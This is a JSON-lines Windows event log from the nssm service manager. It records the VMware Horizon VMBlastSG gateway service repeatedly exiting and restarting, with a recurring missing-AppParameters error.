{"@timestamp":1646752810403,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159340","0"]}}},"module":"Application","provider":"nssm","sequence":161872}}
{"@timestamp":1646752810403,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159340","159340","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161873}}
{"@timestamp":1646752810421,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159476","0"]}}},"module":"Application","provider":"nssm","sequence":161874}}
{"@timestamp":1646752810423,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159476","159340","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161875}}
{"@timestamp":1646752810439,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161876}}
{"@timestamp":1646752810440,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161877}}
{"@timestamp":1646752810441,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161878}}
{"@timestamp":1646752810442,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161879}}
{"@timestamp":1646752939052,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161880}}
{"@timestamp":1646752939053,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161881}}
{"@timestamp":1646752939054,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158808","0"]}}},"module":"Application","provider":"nssm","sequence":161882}}
{"@timestamp":1646752939055,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158808","158808","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161883}}
{"@timestamp":1646752939071,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161884}}
{"@timestamp":1646752939071,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161885}}
{"@timestamp":1646752939072,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161886}}
{"@timestamp":1646752939072,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161887}}
{"@timestamp":1646753067581,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161888}}
{"@timestamp":1646753067583,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161889}}
{"@timestamp":1646753067583,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159008","0"]}}},"module":"Application","provider":"nssm","sequence":161890}}
{"@timestamp":1646753067583,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159008","159008","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161891}}
{"@timestamp":1646753067599,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161892}}
{"@timestamp":1646753067600,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161893}}
{"@timestamp":1646753067600,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161894}}
{"@timestamp":1646753067601,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161895}}
{"@timestamp":1646753196180,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161896}}
{"@timestamp":1646753196183,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161897}}
{"@timestamp":1646753196183,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159388","0"]}}},"module":"Application","provider":"nssm","sequence":161898}}
{"@timestamp":1646753196184,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159388","159388","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161899}}
{"@timestamp":1646753196202,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161900}}
{"@timestamp":1646753196203,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161901}}
{"@timestamp":1646753196203,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161902}}
{"@timestamp":1646753196204,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161903}}
{"@timestamp":1646753324720,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161904}}
{"@timestamp":1646753324721,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161905}}
{"@timestamp":1646753324722,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153140","0"]}}},"module":"Application","provider":"nssm","sequence":161906}}
{"@timestamp":1646753324722,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153140","153140","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161907}}
{"@timestamp":1646753324739,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161908}}
{"@timestamp":1646753324739,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161909}}
{"@timestamp":1646753324740,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161910}}
{"@timestamp":1646753324741,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161911}}
{"@timestamp":1646753453280,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161912}}
{"@timestamp":1646753453281,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161913}}
{"@timestamp":1646753453283,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158472","0"]}}},"module":"Application","provider":"nssm","sequence":161914}}
{"@timestamp":1646753453286,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158472","158472","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161915}}
{"@timestamp":1646753453302,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161916}}
{"@timestamp":1646753453303,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161917}}
{"@timestamp":1646753453303,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161918}}
{"@timestamp":1646753453304,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161919}}
{"@timestamp":1646753581797,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161920}}
{"@timestamp":1646753581799,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161921}}
{"@timestamp":1646753581800,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159300","0"]}}},"module":"Application","provider":"nssm","sequence":161922}}
{"@timestamp":1646753581800,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159300","159300","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161923}}
{"@timestamp":1646753581817,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161924}}
{"@timestamp":1646753581817,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161925}}
{"@timestamp":1646753581818,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161926}}
{"@timestamp":1646753581819,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161927}}
{"@timestamp":1646753710307,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161928}}
{"@timestamp":1646753710309,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161929}}
{"@timestamp":1646753710309,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158216","0"]}}},"module":"Application","provider":"nssm","sequence":161930}}
{"@timestamp":1646753710310,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158216","158216","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161931}}
{"@timestamp":1646753710327,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161932}}
{"@timestamp":1646753710328,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161933}}
{"@timestamp":1646753710328,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161934}}
{"@timestamp":1646753710329,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161935}}
{"@timestamp":1646753838826,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161936}}
{"@timestamp":1646753838828,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161937}}
{"@timestamp":1646753838828,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159292","0"]}}},"module":"Application","provider":"nssm","sequence":161938}}
{"@timestamp":1646753838829,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159292","159292","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161939}}
{"@timestamp":1646753838845,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161940}}
{"@timestamp":1646753838846,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161941}}
{"@timestamp":1646753838846,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161942}}
{"@timestamp":1646753838847,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161943}}
{"@timestamp":1646753967386,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161944}}
{"@timestamp":1646753967387,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161945}}
{"@timestamp":1646753967388,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157648","0"]}}},"module":"Application","provider":"nssm","sequence":161946}}
{"@timestamp":1646753967388,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157648","157648","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161947}}
{"@timestamp":1646753967405,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161948}}
{"@timestamp":1646753967405,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161949}}
{"@timestamp":1646753967406,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161950}}
{"@timestamp":1646753967407,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161951}}
{"@timestamp":1646754095882,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161952}}
{"@timestamp":1646754095884,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161953}}
{"@timestamp":1646754095885,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157700","0"]}}},"module":"Application","provider":"nssm","sequence":161954}}
{"@timestamp":1646754095885,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157700","157700","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161955}}
{"@timestamp":1646754095901,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161956}}
{"@timestamp":1646754095902,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161957}}
{"@timestamp":1646754095902,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161958}}
{"@timestamp":1646754095903,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161959}}
{"@timestamp":1646754224440,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161960}}
{"@timestamp":1646754224441,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161961}}
{"@timestamp":1646754224443,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158232","0"]}}},"module":"Application","provider":"nssm","sequence":161962}}
{"@timestamp":1646754224446,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158232","158232","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161963}}
{"@timestamp":1646754224468,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161964}}
{"@timestamp":1646754224468,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161965}}
{"@timestamp":1646754224469,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161966}}
{"@timestamp":1646754224469,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161967}}
{"@timestamp":1646754352956,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161968}}
{"@timestamp":1646754352956,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161969}}
{"@timestamp":1646754352957,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158856","0"]}}},"module":"Application","provider":"nssm","sequence":161970}}
{"@timestamp":1646754352957,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158856","158856","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161971}}
{"@timestamp":1646754352973,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161972}}
{"@timestamp":1646754352974,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161973}}
{"@timestamp":1646754352975,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161974}}
{"@timestamp":1646754352975,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161975}}
{"@timestamp":1646754481556,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161976}}
